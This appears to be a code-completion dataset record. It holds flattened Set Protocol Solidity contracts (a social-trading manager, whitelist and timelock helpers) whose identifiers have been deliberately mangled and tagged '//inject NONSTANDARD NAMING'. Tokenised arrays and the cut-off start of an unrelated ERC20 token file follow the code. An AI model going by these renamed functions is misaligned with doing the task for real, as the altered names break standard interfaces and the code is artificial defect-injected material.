returns (ILiquidator);
function LASTREBALANCETIMESTAMP491() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCESTARTTIME708() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function STARTINGCURRENTSETAMOUNT132() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEINTERVAL619() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function GETAUCTIONPRICEPARAMETERS272() external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETBIDDINGPARAMETERS33() external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function REBALANCESTATE812() //inject NONSTANDARD NAMING
external
view
returns (RebalancingLibrary.State);
function BALANCEOF827( //inject NONSTANDARD NAMING
address owner
)
external
view
returns (uint256);
function MANAGER161() //inject NONSTANDARD NAMING
external
view
returns (address);
function FEERECIPIENT200() //inject NONSTANDARD NAMING
external
view
returns (address);
function ENTRYFEE977() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEFEE979() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEFEECALCULATOR847() //inject NONSTANDARD NAMING
external
view
returns (IFeeCalculator);
function INITIALIZE627( //inject NONSTANDARD NAMING
bytes calldata _rebalanceFeeCalldata
)
external;
function SETLIQUIDATOR462( //inject NONSTANDARD NAMING
ILiquidator _newLiquidator
)
external;
function SETFEERECIPIENT786( //inject NONSTANDARD NAMING
address _newFeeRecipient
)
external;
function SETENTRYFEE61( //inject NONSTANDARD NAMING
uint256 _newEntryFee
)
external;
function STARTREBALANCE53( //inject NONSTANDARD NAMING
address _nextSet,
bytes calldata _liquidatorData
)
external;
function SETTLEREBALANCE859() //inject NONSTANDARD NAMING
external;
function ACTUALIZEFEE454() //inject NONSTANDARD NAMING
external;
function ADJUSTFEE487( //inject NONSTANDARD NAMING
bytes calldata _newFeeData
)
external;
function NATURALUNIT908() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function CURRENTSET165() //inject NONSTANDARD NAMING
external
view
returns (ISetToken);
function NEXTSET94() //inject NONSTANDARD NAMING
external
view
returns (ISetToken);
function UNITSHARES97() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function PLACEBID341( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
returns (address[] memory, uint256[] memory, uint256[] memory);
function GETBIDPRICE601( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
view
returns (uint256[] memory, uint256[] memory);
function NAME118() //inject NONSTANDARD NAMING
external
view
returns (string memory);
function SYMBOL994() //inject NONSTANDARD NAMING
external
view
returns (string memory);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.5.2;
library SafeMath {
function MUL940(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function DIV983(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function SUB806(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a);
uint256 c = a - b;
return c;
}
function ADD949(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a);
return c;
}
function MOD276(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OWNERSHIPTRANSFERRED84(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
constructor () internal {
_owner = msg.sender;
emit OWNERSHIPTRANSFERRED84(address(0), _owner);
}
function OWNER334() public view returns (address) { //inject NONSTANDARD NAMING
return _owner;
}
modifier ONLYOWNER733() { //inject NONSTANDARD NAMING
require(ISOWNER347());
_;
}
function ISOWNER347() public view returns (bool) { //inject NONSTANDARD NAMING
return msg.sender == _owner;
}
function RENOUNCEOWNERSHIP178() public ONLYOWNER733 { //inject NONSTANDARD NAMING
emit OWNERSHIPTRANSFERRED84(_owner, address(0));
_owner = address(0);
}
function TRANSFEROWNERSHIP217(address newOwner) public ONLYOWNER733 { //inject NONSTANDARD NAMING
_TRANSFEROWNERSHIP828(newOwner);
}
function _TRANSFEROWNERSHIP828(address newOwner) internal { //inject NONSTANDARD NAMING
require(newOwner != address(0));
emit OWNERSHIPTRANSFERRED84(_owner, newOwner);
_owner = newOwner;
}
}
// File: set-protocol-contracts/contracts/lib/TimeLockUpgrade.sol
pragma solidity 0.5.7;
contract TimeLockUpgrade is
Ownable
{
using SafeMath for uint256;
// Timelock Upgrade Period in seconds
uint256 public timeLockPeriod;
// Mapping of upgradable units and initialized timelock
mapping(bytes32 => uint256) public timeLockedUpgrades;
event UPGRADEREGISTERED246( //inject NONSTANDARD NAMING
bytes32 _upgradeHash,
uint256 _timestamp
);
modifier TIMELOCKUPGRADE701() { //inject NONSTANDARD NAMING
// If the time lock period is 0, then allow non-timebound upgrades.
// This is useful for initialization of the protocol and for testing.
if (timeLockPeriod == 0) {
_;
return;
}
// The upgrade hash is defined by the hash of the transaction call data,
// which uniquely identifies the function as well as the passed in arguments.
bytes32 upgradeHash = keccak256(
abi.encodePacked(
msg.data
)
);
uint256 registrationTime = timeLockedUpgrades[upgradeHash];
// If the upgrade hasn't been registered, register with the current time.
if (registrationTime == 0) {
timeLockedUpgrades[upgradeHash] = block.timestamp;
emit UPGRADEREGISTERED246(
upgradeHash,
block.timestamp
);
return;
}
require(
block.timestamp >= registrationTime.ADD949(timeLockPeriod),
"TimeLockUpgrade: Time lock period must have elapsed."
);
// Reset the timestamp to 0
timeLockedUpgrades[upgradeHash] = 0;
// Run the rest of the upgrades
_;
}
function SETTIMELOCKPERIOD792( //inject NONSTANDARD NAMING
uint256 _timeLockPeriod
)
external
ONLYOWNER733
{
// Only allow setting of the timeLockPeriod if the period is greater than the existing
require(
_timeLockPeriod > timeLockPeriod,
"TimeLockUpgrade: New period must be greater than existing"
);
timeLockPeriod = _timeLockPeriod;
}
}
// File: set-protocol-contracts/contracts/lib/UnrestrictedTimeLockUpgrade.sol
pragma solidity 0.5.7;
contract UnrestrictedTimeLockUpgrade is
TimeLockUpgrade
{
event REMOVEREGISTEREDUPGRADE343( //inject NONSTANDARD NAMING
bytes32 indexed _upgradeHash
);
function REMOVEREGISTEREDUPGRADEINTERNAL162( //inject NONSTANDARD NAMING
bytes32 _upgradeHash
)
internal
{
require(
timeLockedUpgrades[_upgradeHash] != 0,
"TimeLockUpgradeV2.removeRegisteredUpgrade: Upgrade hash must be registered"
);
// Reset the timestamp to 0
timeLockedUpgrades[_upgradeHash] = 0;
emit REMOVEREGISTEREDUPGRADE343(
_upgradeHash
);
}
}
// File: set-protocol-contracts/contracts/lib/LimitOneUpgrade.sol
pragma solidity 0.5.7;
contract LimitOneUpgrade is
UnrestrictedTimeLockUpgrade
{
mapping(address => bytes32) public upgradeIdentifier;
modifier LIMITONEUPGRADE170(address _upgradeAddress) { //inject NONSTANDARD NAMING
if (timeLockPeriod > 0) {
// Get upgradeHash
bytes32 upgradeHash = keccak256(msg.data);
if (upgradeIdentifier[_upgradeAddress] != 0) {
// If upgrade hash has no record then revert since must be second upgrade
require(
upgradeIdentifier[_upgradeAddress] == upgradeHash,
"Another update already in progress."
);
upgradeIdentifier[_upgradeAddress] = 0;
} else {
upgradeIdentifier[_upgradeAddress] = upgradeHash;
}
}
_;
}
function REMOVEREGISTEREDUPGRADEINTERNAL162( //inject NONSTANDARD NAMING
address _upgradeAddress,
bytes32 _upgradeHash
)
internal
{
require(
upgradeIdentifier[_upgradeAddress] == _upgradeHash,
"Passed upgrade hash does not match upgrade address."
);
UnrestrictedTimeLockUpgrade.REMOVEREGISTEREDUPGRADEINTERNAL162(_upgradeHash);
upgradeIdentifier[_upgradeAddress] = 0;
}
}
// File: set-protocol-contracts/contracts/lib/AddressArrayUtils.sol
// Pulled in from Cryptofin Solidity package in order to control Solidity compiler version
// https://github.com/cryptofinlabs/cryptofin-solidity/blob/master/contracts/array-utils/AddressArrayUtils.sol
pragma solidity 0.5.7;
library AddressArrayUtils {
function INDEXOF640(address[] memory A, address a) internal pure returns (uint256, bool) { //inject NONSTANDARD NAMING
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (0, false);
}
function CONTAINS824(address[] memory A, address a) internal pure returns (bool) { //inject NONSTANDARD NAMING
bool isIn;
(, isIn) = INDEXOF640(A, a);
return isIn;
}
function EXTEND286(address[] memory A, address[] memory B) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
uint256 aLength = A.length;
uint256 bLength = B.length;
address[] memory newAddresses = new address[](aLength + bLength);
for (uint256 i = 0; i < aLength; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = 0; j < bLength; j++) {
newAddresses[aLength + j] = B[j];
}
return newAddresses;
}
function APPEND631(address[] memory A, address a) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
address[] memory newAddresses = new address[](A.length + 1);
for (uint256 i = 0; i < A.length; i++) {
newAddresses[i] = A[i];
}
newAddresses[A.length] = a;
return newAddresses;
}
function INTERSECT449(address[] memory A, address[] memory B) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
uint256 length = A.length;
bool[] memory includeMap = new bool[](length);
uint256 newLength = 0;
for (uint256 i = 0; i < length; i++) {
if (CONTAINS824(B, A[i])) {
includeMap[i] = true;
newLength++;
}
}
address[] memory newAddresses = new address[](newLength);
uint256 j = 0;
for (uint256 k = 0; k < length; k++) {
if (includeMap[k]) {
newAddresses[j] = A[k];
j++;
}
}
return newAddresses;
}
function UNION513(address[] memory A, address[] memory B) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
address[] memory leftDifference = DIFFERENCE589(A, B);
address[] memory rightDifference = DIFFERENCE589(B, A);
address[] memory intersection = INTERSECT449(A, B);
return EXTEND286(leftDifference, EXTEND286(intersection, rightDifference));
}
function DIFFERENCE589(address[] memory A, address[] memory B) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
uint256 length = A.length;
bool[] memory includeMap = new bool[](length);
uint256 count = 0;
// First count the new length because can't push for in-memory arrays
for (uint256 i = 0; i < length; i++) {
address e = A[i];
if (!CONTAINS824(B, e)) {
includeMap[i] = true;
count++;
}
}
address[] memory newAddresses = new address[](count);
uint256 j = 0;
for (uint256 k = 0; k < length; k++) {
if (includeMap[k]) {
newAddresses[j] = A[k];
j++;
}
}
return newAddresses;
}
function POP272(address[] memory A, uint256 index) //inject NONSTANDARD NAMING
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
function REMOVE947(address[] memory A, address a) //inject NONSTANDARD NAMING
internal
pure
returns (address[] memory)
{
(uint256 index, bool isIn) = INDEXOF640(A, a);
if (!isIn) {
revert();
} else {
(address[] memory _A,) = POP272(A, index);
return _A;
}
}
function HASDUPLICATE629(address[] memory A) internal pure returns (bool) { //inject NONSTANDARD NAMING
if (A.length == 0) {
return false;
}
for (uint256 i = 0; i < A.length - 1; i++) {
for (uint256 j = i + 1; j < A.length; j++) {
if (A[i] == A[j]) {
return true;
}
}
}
return false;
}
function ISEQUAL297(address[] memory A, address[] memory B) internal pure returns (bool) { //inject NONSTANDARD NAMING
if (A.length != B.length) {
return false;
}
for (uint256 i = 0; i < A.length; i++) {
if (A[i] != B[i]) {
return false;
}
}
return true;
}
}
// File: set-protocol-contracts/contracts/lib/WhiteList.sol
pragma solidity 0.5.7;
contract WhiteList is
Ownable,
TimeLockUpgrade
{
using AddressArrayUtils for address[];
address[] public addresses;
mapping(address => bool) public whiteList;
event ADDRESSADDED659( //inject NONSTANDARD NAMING
address _address
);
event ADDRESSREMOVED325( //inject NONSTANDARD NAMING
address _address
);
constructor(
address[] memory _initialAddresses
)
public
{
// Add each of initial addresses to state
for (uint256 i = 0; i < _initialAddresses.length; i++) {
address addressToAdd = _initialAddresses[i];
addresses.push(addressToAdd);
whiteList[addressToAdd] = true;
}
}
function ADDADDRESS683( //inject NONSTANDARD NAMING
address _address
)
external
ONLYOWNER733
TIMELOCKUPGRADE701
{
require(
!whiteList[_address],
"WhiteList.addAddress: Address has already been whitelisted."
);
addresses.push(_address);
whiteList[_address] = true;
emit ADDRESSADDED659(
_address
);
}
function REMOVEADDRESS177( //inject NONSTANDARD NAMING
address _address
)
external
ONLYOWNER733
{
require(
whiteList[_address],
"WhiteList.removeAddress: Address is not current whitelisted."
);
addresses = addresses.REMOVE947(_address);
whiteList[_address] = false;
emit ADDRESSREMOVED325(
_address
);
}
function VALIDADDRESSES284() //inject NONSTANDARD NAMING
external
view
returns (address[] memory)
{
return addresses;
}
function AREVALIDADDRESSES358( //inject NONSTANDARD NAMING
address[] calldata _addresses
)
external
view
returns (bool)
{
for (uint256 i = 0; i < _addresses.length; i++) {
if (!whiteList[_addresses[i]]) {
return false;
}
}
return true;
}
}
// File: contracts/managers/allocators/ISocialAllocator.sol
pragma solidity 0.5.7;
interface ISocialAllocator {
function DETERMINENEWALLOCATION631( //inject NONSTANDARD NAMING
uint256 _targetBaseAssetAllocation
)
external
returns (ISetToken);
function CALCULATECOLLATERALSETVALUE480( //inject NONSTANDARD NAMING
ISetToken _collateralSet
)
external
view
returns(uint256);
}
// File: contracts/managers/lib/SocialTradingLibrary.sol
pragma solidity 0.5.7;
library SocialTradingLibrary {
struct PoolInfo {
address trader; // Address allowed to make admin and allocation decisions
ISocialAllocator allocator; // Allocator used to make collateral Sets, defines asset pair being used
uint256 currentAllocation; // Current base asset allocation of tradingPool
uint256 newEntryFee; // New fee percentage to change to after time lock passes, defaults to 0
uint256 feeUpdateTimestamp; // Timestamp when fee update process can be finalized, defaults to maxUint256
}
}
// File: contracts/managers/SocialTradingManager.sol
pragma solidity 0.5.7;
contract SocialTradingManager is
WhiteList
{
using SafeMath for uint256;
event TRADINGPOOLCREATED990( //inject NONSTANDARD NAMING
address indexed trader,
ISocialAllocator indexed allocator,
address indexed tradingPool,
uint256 startingAllocation
);
event ALLOCATIONUPDATE207( //inject NONSTANDARD NAMING
address indexed tradingPool,
uint256 oldAllocation,
uint256 newAllocation
);
event NEWTRADER325( //inject NONSTANDARD NAMING
address indexed tradingPool,
address indexed oldTrader,
address indexed newTrader
);
modifier ONLYTRADER541(IRebalancingSetTokenV2 _tradingPool) { //inject NONSTANDARD NAMING
require(
msg.sender == TRADER685(_tradingPool),
"Sender must be trader"
);
_;
}
uint256 public constant rebalancing_set_natural_unit564 = 1e8; //inject NONSTANDARD NAMING
uint public constant one_percent337 = 1e16; //inject NONSTANDARD NAMING
uint256 constant public maximum_allocation339 = 1e18; //inject NONSTANDARD NAMING
ICore public core;
address public factory;
mapping(address => SocialTradingLibrary.PoolInfo) public pools;
uint256 public maxEntryFee;
uint256 public feeUpdateTimelock;
constructor(
ICore _core,
address _factory,
address[] memory _whiteListedAllocators,
uint256 _maxEntryFee,
uint256 _feeUpdateTimelock
)
public
WhiteList(_whiteListedAllocators)
{
core = _core;
factory = _factory;
maxEntryFee = _maxEntryFee;
feeUpdateTimelock = _feeUpdateTimelock;
}
function CREATETRADINGPOOL384( //inject NONSTANDARD NAMING
ISocialAllocator _tradingPairAllocator,
uint256 _startingBaseAssetAllocation,
uint256 _startingUSDValue,
bytes32 _name,
bytes32 _symbol,
bytes calldata _rebalancingSetCallData
)
external
{
// Validate relevant params
VALIDATECREATETRADINGPOOL868(_tradingPairAllocator, _startingBaseAssetAllocation, _rebalancingSetCallData);
// Get collateral Set
ISetToken collateralSet = _tradingPairAllocator.DETERMINENEWALLOCATION631(
_startingBaseAssetAllocation
);
uint256[] memory unitShares = new uint256[](1);
// Value collateral
uint256 collateralValue = _tradingPairAllocator.CALCULATECOLLATERALSETVALUE480(
collateralSet
);
// unitShares is equal to _startingUSDValue divided by colalteral Value
unitShares[0] = _startingUSDValue.MUL940(rebalancing_set_natural_unit564).DIV983(collateralValue);
address[] memory components = new address[](1);
components[0] = address(collateralSet);
// Create tradingPool
address tradingPool = core.CREATESET426(
factory,
components,
unitShares,
rebalancing_set_natural_unit564,
_name,
_symbol,
_rebalancingSetCallData
);
pools[tradingPool].trader = msg.sender;
pools[tradingPool].allocator = _tradingPairAllocator;
pools[tradingPool].currentAllocation = _startingBaseAssetAllocation;
pools[tradingPool].feeUpdateTimestamp = 0;
emit TRADINGPOOLCREATED990(
msg.sender,
_tradingPairAllocator,
tradingPool,
_startingBaseAssetAllocation
);
}
function UPDATEALLOCATION788( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
uint256 _newAllocation,
bytes calldata _liquidatorData
)
external
ONLYTRADER541(_tradingPool)
{
// Validate updateAllocation params
VALIDATEALLOCATIONUPDATE492(_tradingPool, _newAllocation);
// Create nextSet collateral
ISetToken nextSet = ALLOCATOR261(_tradingPool).DETERMINENEWALLOCATION631(
_newAllocation
);
// Trigger start rebalance on RebalancingSetTokenV2
_tradingPool.STARTREBALANCE53(address(nextSet), _liquidatorData);
emit ALLOCATIONUPDATE207(
address(_tradingPool),
CURRENTALLOCATION387(_tradingPool),
_newAllocation
);
// Save new allocation
pools[address(_tradingPool)].currentAllocation = _newAllocation;
}
function INITIATEENTRYFEECHANGE772( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
uint256 _newEntryFee
)
external
ONLYTRADER541(_tradingPool)
{
// Validate new entry fee doesn't exceed max
VALIDATENEWENTRYFEE141(_newEntryFee);
// Log new entryFee and timestamp to start timelock from
pools[address(_tradingPool)].feeUpdateTimestamp = block.timestamp.ADD949(feeUpdateTimelock);
pools[address(_tradingPool)].newEntryFee = _newEntryFee;
}
function FINALIZEENTRYFEECHANGE511( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool
)
external
ONLYTRADER541(_tradingPool)
{
// If feeUpdateTimestamp is equal to 0 indicates initiate wasn't called
require(
FEEUPDATETIMESTAMP466(_tradingPool) != 0,
"SocialTradingManager.finalizeSetFeeRecipient: Must initiate fee change first."
);
// Current block timestamp must exceed feeUpdateTimestamp
require(
block.timestamp >= FEEUPDATETIMESTAMP466(_tradingPool),
"SocialTradingManager.finalizeSetFeeRecipient: Time lock period must elapse to update fees."
);
// Reset timestamp to avoid reentrancy
pools[address(_tradingPool)].feeUpdateTimestamp = 0;
// Update fee on RebalancingSetTokenV2
_tradingPool.SETENTRYFEE61(NEWENTRYFEE285(_tradingPool));
// Reset newEntryFee
pools[address(_tradingPool)].newEntryFee = 0;
}
function SETTRADER910( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
address _newTrader
)
external
ONLYTRADER541(_tradingPool)
{
emit NEWTRADER325(
address(_tradingPool),
TRADER685(_tradingPool),
_newTrader
);
pools[address(_tradingPool)].trader = _newTrader;
}
function SETLIQUIDATOR462( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
ILiquidator _newLiquidator
)
external
ONLYTRADER541(_tradingPool)
{
_tradingPool.SETLIQUIDATOR462(_newLiquidator);
}
function SETFEERECIPIENT786( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
address _newFeeRecipient
)
external
ONLYTRADER541(_tradingPool)
{
_tradingPool.SETFEERECIPIENT786(_newFeeRecipient);
}
function VALIDATECREATETRADINGPOOL868( //inject NONSTANDARD NAMING
ISocialAllocator _tradingPairAllocator,
uint256 _startingBaseAssetAllocation,
bytes memory _rebalancingSetCallData
)
internal
view
{
VALIDATEALLOCATIONAMOUNT616(_startingBaseAssetAllocation);
VALIDATEMANAGERADDRESS45(_rebalancingSetCallData);
require(
whiteList[address(_tradingPairAllocator)],
"SocialTradingManager.validateCreateTradingPool: Passed allocator is not valid."
);
}
function VALIDATEALLOCATIONUPDATE492( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
uint256 _newAllocation
)
internal
view
{
VALIDATEALLOCATIONAMOUNT616(_newAllocation);
// If current allocation is 0/100%, cannot be the same allocation
uint256 currentAllocationValue = CURRENTALLOCATION387(_tradingPool);
require(
!(currentAllocationValue == maximum_allocation339 && _newAllocation == maximum_allocation339) &&
!(currentAllocationValue == 0 && _newAllocation == 0),
"SocialTradingManager.validateAllocationUpdate: Invalid allocation"
);
// Require that enough time has passed from last rebalance
uint256 lastRebalanceTimestamp = _tradingPool.LASTREBALANCETIMESTAMP491();
uint256 rebalanceInterval = _tradingPool.REBALANCEINTERVAL619();
require(
block.timestamp >= lastRebalanceTimestamp.ADD949(rebalanceInterval),
"SocialTradingManager.validateAllocationUpdate: Rebalance interval not elapsed"
);
// Require that Rebalancing Set Token is in Default state, won't allow for re-proposals
// because malicious actor could prevent token from ever rebalancing
require(
_tradingPool.REBALANCESTATE812() == RebalancingLibrary.State.Default,
"SocialTradingManager.validateAllocationUpdate: State must be in Default"
);
}
function VALIDATEALLOCATIONAMOUNT616( //inject NONSTANDARD NAMING
uint256 _allocation
)
internal
view
{
require(
_allocation <= maximum_allocation339,
"Passed allocation must not exceed 100%."
);
require(
_allocation.MOD276(one_percent337) == 0,
"Passed allocation must be multiple of 1%."
);
}
function VALIDATENEWENTRYFEE141( //inject NONSTANDARD NAMING
uint256 _entryFee
)
internal
view
{
require(
_entryFee <= maxEntryFee,
"SocialTradingManager.validateNewEntryFee: Passed entry fee must not exceed maxEntryFee."
);
}
function VALIDATEMANAGERADDRESS45( //inject NONSTANDARD NAMING
bytes memory _rebalancingSetCallData
)
internal
view
{
address manager;
assembly {
manager := mload(add(_rebalancingSetCallData, 32)) // manager slot
}
require(
manager == address(this),
"SocialTradingManager.validateCallDataArgs: Passed manager address is not this address."
);
}
function ALLOCATOR261(IRebalancingSetTokenV2 _tradingPool) internal view returns (ISocialAllocator) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].allocator;
}
function TRADER685(IRebalancingSetTokenV2 _tradingPool) internal view returns (address) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].trader;
}
function CURRENTALLOCATION387(IRebalancingSetTokenV2 _tradingPool) internal view returns (uint256) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].currentAllocation;
}
function FEEUPDATETIMESTAMP466(IRebalancingSetTokenV2 _tradingPool) internal view returns (uint256) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].feeUpdateTimestamp;
}
function NEWENTRYFEE285(IRebalancingSetTokenV2 _tradingPool) internal view returns (uint256) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].newEntryFee;
}
}
// File: contracts/managers/SocialTradingManagerV2.sol
pragma solidity 0.5.7;
pragma experimental "ABIEncoderV2";
contract SocialTradingManagerV2 is
SocialTradingManager,
LimitOneUpgrade
{
constructor(
ICore _core,
address _factory,
address[] memory _whiteListedAllocators,
uint256 _maxEntryFee,
uint256 _feeUpdateTimelock
)
public
SocialTradingManager(
_core,
_factory,
_whiteListedAllocators,
_maxEntryFee,
_feeUpdateTimelock
)
{}
function ADJUSTFEE487( //inject NONSTANDARD NAMING
address _tradingPool,
bytes calldata _newFeeCallData
)
external
ONLYTRADER541(IRebalancingSetTokenV2(_tradingPool))
LIMITONEUPGRADE170(_tradingPool)
TIMELOCKUPGRADE701
{
IRebalancingSetTokenV3(_tradingPool).ADJUSTFEE487(_newFeeCallData);
}
function REMOVEREGISTEREDUPGRADE402( //inject NONSTANDARD NAMING
address _tradingPool,
bytes32 _upgradeHash
)
external
ONLYTRADER541(IRebalancingSetTokenV2(_tradingPool))
{
LimitOneUpgrade.REMOVEREGISTEREDUPGRADEINTERNAL162(_tradingPool, _upgradeHash);
}
} | First count the new length because can't push for in-memory arrays | for (uint256 i = 0; i < length; i++) {
address e = A[i];
if (!CONTAINS824(B, e)) {
includeMap[i] = true;
count++;
}
}
| 2,477,986 | [
1,
3759,
1056,
326,
394,
769,
2724,
848,
1404,
1817,
364,
316,
17,
7858,
5352,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
769,
31,
277,
27245,
288,
203,
5411,
1758,
425,
273,
432,
63,
77,
15533,
203,
5411,
309,
16051,
6067,
25838,
28,
3247,
12,
38,
16,
425,
3719,
288,
203,
7734,
2341,
863,
63,
77,
65,
273,
638,
31,
203,
7734,
1056,
9904,
31,
203,
5411,
289,
203,
3639,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/*
_____
|_ _|_ _____ ___
| | \ \ /\ / / _ \ / _ \
| | \ V V / (_) | (_) |
|_| \_/\_/ \___/ \___/
Token Name: Twoo
Token Symbol: TWOO
Total Supply: 10000000000
Decimals: 18
*/
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
